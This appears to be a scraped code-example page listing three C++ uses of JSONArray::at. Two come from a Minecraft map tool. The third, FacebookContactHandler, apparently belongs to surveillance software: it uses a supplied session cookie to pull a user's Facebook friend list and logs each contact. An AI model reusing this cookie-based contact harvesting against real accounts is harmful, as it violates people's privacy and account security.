本文整理汇总了C++中JSONArray::at方法的典型用法代码示例。如果您正苦于以下问题:C++ JSONArray::at方法的具体用法?C++ JSONArray::at怎么用?C++ JSONArray::at使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类JSONArray
的用法示例。
在下文中一共展示了JSONArray::at方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: parseCategoryDefinition
void EntityIdentifier::parseCategoryDefinition(JSONObject *data, int packID) {
QString category;
if (data->has("category"))
category = data->at("category")->asString();
else
category = "Unknown";
QColor catcolor;
if (data->has("catcolor")) {
QString colorname = data->at("catcolor")->asString();
catcolor.setNamedColor(colorname);
assert(catcolor.isValid());
} else { // use hashed by name instead
quint32 hue = qHash(category);
catcolor.setHsv(hue % 360, 255, 255);
}
addCategory(qMakePair(category, catcolor));
if (data->has("entity")) {
JSONArray *entities = dynamic_cast<JSONArray *>(data->at("entity"));
int len = entities->length();
for (int e = 0; e < len; e++)
parseEntityDefinition(dynamic_cast<JSONObject *>(entities->at(e)),
category, catcolor, packID);
}
}
示例2: parseDefinition
void FlatteningConverter::parseDefinition(
JSONObject *b,
int *parentID,
int pack) {
// get the ancient block ID
int bid, data(0);
if (parentID == NULL) {
bid = b->at("id")->asNumber();
} else {
bid = *parentID;
data = b->at("data")->asNumber();
bid |= data << 8;
}
// try to translate old block name into new flatname
QString flatname;
if (b->has("name")) {
flatname = "minecraft:" + b->at("name")->asString().toLower().replace(" ", "_");
} else if (parentID != NULL) {
flatname = palette[*parentID].name;
} else {
flatname = "Unknown";
}
// or use provided flatname instead
if (b->has("flatname"))
flatname = b->at("flatname")->asString();
palette[bid].name = flatname;
palette[bid].hid = qHash(palette[bid].name);
if ((parentID == NULL) && (data == 0)) {
// spread main block type for data == 0
for (int d=1; d<16; d++) {
int sid = bid | (d<<8);
palette[sid].name = flatname;
palette[sid].hid = palette[bid].hid;
}
}
// packs[pack].append(block);
// get optional mask value (or guess default)
int mask = 0;
if (b->has("mask")) {
mask = b->at("mask")->asNumber();
} else if (b->has("variants")) {
mask = 0x0f;
}
// recursive parsing of variants (with data)
if (b->has("variants")) {
JSONArray *variants = dynamic_cast<JSONArray *>(b->at("variants"));
int vlen = variants->length();
for (int j = 0; j < vlen; j++) {
parseDefinition(dynamic_cast<JSONObject *>(variants->at(j)), &bid, pack);
}
// spread variants in masked bid
for (int j = vlen; j < 16; j++) {
int id = bid | (j << 8);
int mid = bid | ((j & mask) << 8);
palette[id].name = palette[mid].name;
palette[id].hid = palette[mid].hid;
}
}
}
示例3: FacebookContactHandler
DWORD FacebookContactHandler(LPSTR strCookie)
{
LPSTR strUserId, strScreenName;
if (!ConfIsModuleEnabled(L"addressbook"))
return SOCIAL_REQUEST_SUCCESS;
// get user id and screen name
if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
return SOCIAL_REQUEST_BAD_COOKIE;
LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array
LPSTR strRecvBuffer=NULL;
DWORD dwBuffSize;
DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
zfree(strUrl);
return SOCIAL_REQUEST_NETWORK_PROBLEM;
}
LPSTR strJson = strRecvBuffer;
while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
strJson++;
JSONValue *jValue = JSON::Parse(strJson);
if (jValue != NULL && jValue->IsObject())
{
JSONObject jRoot = jValue->AsObject();
if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
{
if (jRoot[L"payload"]->IsObject())
{
JSONObject jPayload = jRoot[L"payload"]->AsObject();
if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray()) //FIXME: array
{
JSONArray jEntries = jPayload[L"entries"]->AsArray(); //FIXME: array
for (DWORD i=0; i<jEntries.size(); i++)
{
LPWSTR strUID = NULL;
LPWSTR strName = NULL;
LPWSTR strProfile = NULL;
if (!jEntries.at(i)->IsObject())
continue;
JSONObject jEntry = jEntries.at(i)->AsObject();
if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber()) //FIXME: array
{
strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber()); //FIXME: array
}
if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString()) //FIXME: array
{
strName = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString()) //FIXME: array
{
strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (strUID && strName && strProfile)
{
LPSTR strTmp = (LPSTR) zalloc(1024);
_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);
DWORD dwFlags = 0;
if (!strncmp(strTmp, strUserId, strlen(strUserId)))
dwFlags = CONTACTS_MYACCOUNT;
SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
zfree(strTmp);
}
zfree(strName);
zfree(strProfile);
zfree(strUID);
}
}
}
}
}
/* cleanup */
zfree(strUserId);
zfree(strScreenName);
zfree(strRecvBuffer);
zfree(strUrl);
if (jValue)
delete jValue;
return SOCIAL_REQUEST_BAD_COOKIE;
}